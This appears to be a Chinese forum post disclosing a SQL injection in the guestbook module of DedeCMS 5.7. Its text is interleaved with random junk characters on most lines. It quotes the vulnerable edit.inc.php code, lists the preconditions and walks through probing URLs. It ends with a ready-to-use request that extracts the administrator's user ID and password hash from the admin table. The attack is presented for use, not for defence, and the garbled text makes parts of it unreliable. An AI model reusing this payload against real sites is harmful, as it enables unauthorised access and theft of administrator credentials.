影响版本为5.7
) b; [9 \; l2 p, ~$ r7 n2 \9 B' ~, y1 L9 o* U% t
漏洞文件edit.inc.php具体代码:
& q+ h* n2 ^& S
. _7 B6 X0 x& P5 G5 z< ?php
6 W9 E4 o) x0 }+ j
* |( o$ a, `% Rif(!defined('DEDEINC')) exit('Request Error!'); . N& a# i( y6 K2 l+ c& p
r* k8 l9 ?4 W! R% M% ?2 u
. v5 M" }: c: X/ ?8 V- ^6 e) y: N" L) w G4 f/ U% p0 k! k
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
# Q; K2 B- q) ^4 n. i/ _$ R; J7 g- x7 u, w7 Q. _. O
else $GUEST_BOOK_POS = "guestbook.php"; 0 Q& N( Y# {. o, u9 @
; v% b0 l, i( c . B# E* h% [7 i6 S8 l
1 x5 e- ?5 l5 T! a- r
$id = intval($id); 1 X, v& l5 S: q" B% A% R/ {
, l; I, H, M; Z
if(empty($job)) $job='view';
4 V9 _1 R# n* y0 `1 p1 P* u8 Q N; [8 L/ J) ~
+ A* L7 f- y7 m& r5 k6 ~/ s& T: N0 @& c( S
if($job=='del' && $g_isadmin) , g% ]8 u: C, _* l+ X; m
0 m4 C2 I2 h; E/ O{
8 K2 |) v3 A. _$ u% Z
0 ~1 ]/ W/ F8 C6 N, G( I) r$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
9 x7 }* {* E1 c, P# s
: U! n6 x/ n+ a% i! T5 uShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
& Q: Q1 B9 k3 F8 o! y; G& b4 e4 c) G1 B" C$ L. F
exit();
# A5 [3 x; }8 v! V4 t# L- ?: s' d7 ?5 l
}
$ t4 F1 H {* l6 `" L' o) u q7 D
6 N' p7 S! X& m1 \! E! `! W4 Xelse if($job=='check' && $g_isadmin)
+ j4 M9 b% B8 I* [ R: h$ E8 ?: W# F' d% a8 s" z% b' Q! k
{
, e0 Y7 s' u2 x4 y% [
7 x' o5 `" B+ q: a4 K$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
* |. u' i& Y, |& n( W Z
1 h+ S! P. X1 l$ A8 cShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
7 U$ c0 g1 X' }; ]4 @% _. O3 s! a3 | i9 U6 |; k
exit(); ( y) g: H2 Z: J! b
' f' j% f: |8 k
} 5 Z. R8 t c0 }/ e5 @" ]; V# `
/ \, N% [! R1 T! V2 selse if($job=='editok') & I$ o; p6 ^; [% i6 O0 K* U
! C% J* s) i) {{ 7 a4 p, P9 H; e( Q
( D( u$ [- V! s. D$remsg = trim($remsg); 4 ?" Q1 ]1 L# X% f
# O9 @ p2 G8 ] y6 _ |* H
if($remsg!='') : w0 c6 b4 Q8 X) Q
7 P+ ^+ O9 x6 i1 L" `( Y. L5 N: g{ ( p% T( y; n! F) G$ M
/ F) a5 _. G+ |* n# U/ b//管理员回复不过滤HTML By:Errorera blog:errs.cc
" P2 h, I9 ^! G2 b
% D: W9 l; C+ O. q+ Uif($g_isadmin) 8 s8 T0 C5 C5 q# z7 d
" n H: y& y. B+ S# j+ L, j% X{
( d' H5 F8 B, L) d) E. ~" j- p2 c2 `7 R; h8 l; f
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
4 A ^( l# `+ ^ p& |# b" c+ v: g5 f( q. T; [
//$remsg <br /><font color=red>管理员回复:</font> } # N3 Z- f8 h5 t p
' g9 L9 H4 ~) Y- @. v* i, Relse 2 T) I$ O6 O) O' E! `2 C o
. _ d" |; q8 P1 w
{ 4 `1 M/ B. x* O: m8 ^) ]
* o; H3 f3 y" z+ G, J! {+ Q9 q9 ^# c
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
/ O3 a5 h9 z4 j2 Y' \2 k8 |
+ h& X. C% |+ [3 M/ d0 B) I- U+ x4 k$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
/ m/ L; _; Z' I& T
) z& m0 G: i' u5 ]$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
. y9 o6 l$ K z3 }: o3 w9 Q" A9 p& O! k: J
$msg = $oldmsg.$remsg; 1 j( R* D" S* J; J0 ^# n
( e1 {' [: j8 ~" P, e8 R}
3 V' {3 Y$ E# x
, r7 O' \ g& V1 t# [3 d* I6 _4 x7 j$ W}
^: X" X( Q9 [0 K. M+ K- U
/ b6 @7 K/ |1 \2 P1 d9 K//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
; `& ^$ h/ Z8 g
: ~: G& x% R2 c8 J; }0 X$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 4 m- F _, @9 M6 W$ v- a0 c# p, {: {
4 G8 L" Y B y% l: i% o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); # R6 g: |4 \0 |! S
0 o% h7 P ^8 w7 D% t7 K( [
exit(); 6 U2 ]' o# t" e
+ H5 H, C( R* h, V4 d} 7 y+ D8 F- p0 t/ ?3 g; z7 o5 x( Y
" e' S. x/ w, P p9 e//home:www.errs.cc $ `6 _3 B8 n& w+ H. x m `% B, X
: C8 Z, I. L, R; Yif($g_isadmin)
8 P$ Y: Q2 n: T8 B% M% [
M, C3 `* H% V& \) u{
4 E! R# C' B9 M+ ]
0 _' z/ H( A$ }1 ^' ?0 M, C a( O$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
5 i% k8 Z7 D" I5 t8 |, v" n4 ~. U; }2 m7 s' Y+ W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
0 o6 ]5 g' D' |$ ?; ?; ~
, L0 ]! e/ I) ^7 p9 R2 O}
, i' h( N$ U4 v# {/ w
0 l7 ]! D8 k8 _else
0 S( \/ h& Q2 ^: Q0 @) A: _7 N; g8 |& Y4 u9 R. ^7 O5 \) m' Z) Q
{ ' _" O. _; \$ j& L, C
7 ~0 G: G" @2 F* }( V$ E0 ^
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
z# }3 m5 _4 \+ r( p0 I/ I% N0 S* O2 d" V" P' v2 }: @
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
7 W# G5 G* L) M) H! K) ?) ~' @! E& ]- J$ w9 E7 U; R* v
} 漏洞成功需要条件:
+ p1 D9 p$ m/ n! R& I# \1. php magic_quotes_gpc=off
9 l3 l0 l( t1 h. u- g% J& l) h+ K2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。4 R1 W- i3 H. D' t, z: O
; u6 @+ E5 Y* T1 b1 M7 t怎么判断是否存在漏洞:: u0 \ U2 \8 t( b
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,. O& p2 U8 M5 \: c
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 D2 J& X4 ?' I! {访问:
- i( H3 z' X* k2 N1 g6 `# E8 s
6 y9 U* B7 v# j! H* N! Q5 Xwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
: L2 y5 \' u6 {, l8 j# C跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% o0 f! {$ S \/ o) I# G
0 P& F( r+ [1 h* a, {8 |
8 V, p( Q9 ]/ l ~! Y$ R2 }明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
# h9 V% R4 F8 ]/ C) [ r' k如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
A: j( ~8 L0 c/ {% j那么再次访问
5 J0 ^, F' k9 P8 R( P5 f$ T! _, w" w6 n
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().) A" `6 ^+ n# e2 d q+ V6 `" @
3 V& j8 d$ [6 { H2 A, n9 |
大概利用就是这样,大家有兴趣的多研究下!!4 N( M4 s1 W% r4 I/ _
- c, O5 C7 p ^# S; y; O w8 p最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& k# d. Q3 X# ]0 H( Q' N$ Y; X f6 a0 n
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |